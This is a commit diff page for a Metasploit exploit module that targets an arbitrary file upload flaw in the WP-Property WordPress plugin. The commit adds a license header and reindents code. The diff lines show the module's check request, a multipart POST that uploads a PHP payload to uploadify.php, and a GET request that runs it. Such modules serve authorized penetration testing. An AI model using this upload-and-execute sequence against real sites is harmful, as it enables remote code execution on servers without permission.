Skip to content

Commit d69e506

Browse files
committed
Final changes
1 parent 3d27397 commit d69e506

File tree

1 file changed

+16
-8
lines changed

1 file changed

+16
-8
lines changed

modules/exploits/unix/webapp/wp_property_upload_exec.rb

Lines changed: 16 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,11 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
19
require 'msf/core'
210
require 'msf/core/exploit/php_exe'
311

@@ -53,8 +61,8 @@ def check
5361
uri << '/' if uri[-1,1] != '/'
5462

5563
res = send_request_cgi({
56-
'method' => 'GET',
57-
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
64+
'method' => 'GET',
65+
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
5866
})
5967

6068
if not res or res.code != 200
@@ -80,10 +88,10 @@ def exploit
8088

8189
print_status("#{peer} - Uploading payload #{@payload_name}")
8290
res = send_request_cgi({
83-
'method' => 'POST',
84-
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
85-
'ctype' => "multipart/form-data; boundary=#{data.bound}",
86-
'data' => post_data
91+
'method' => 'POST',
92+
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
93+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
94+
'data' => post_data
8795
})
8896

8997
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
@@ -94,8 +102,8 @@ def exploit
94102

95103
print_status("#{peer} - Executing payload #{@payload_name}")
96104
res = send_request_raw({
97-
'uri' => upload_uri,
98-
'method' => 'GET'
105+
'uri' => upload_uri,
106+
'method' => 'GET'
99107
})
100108
end
101109
end

0 commit comments

Comments
 (0)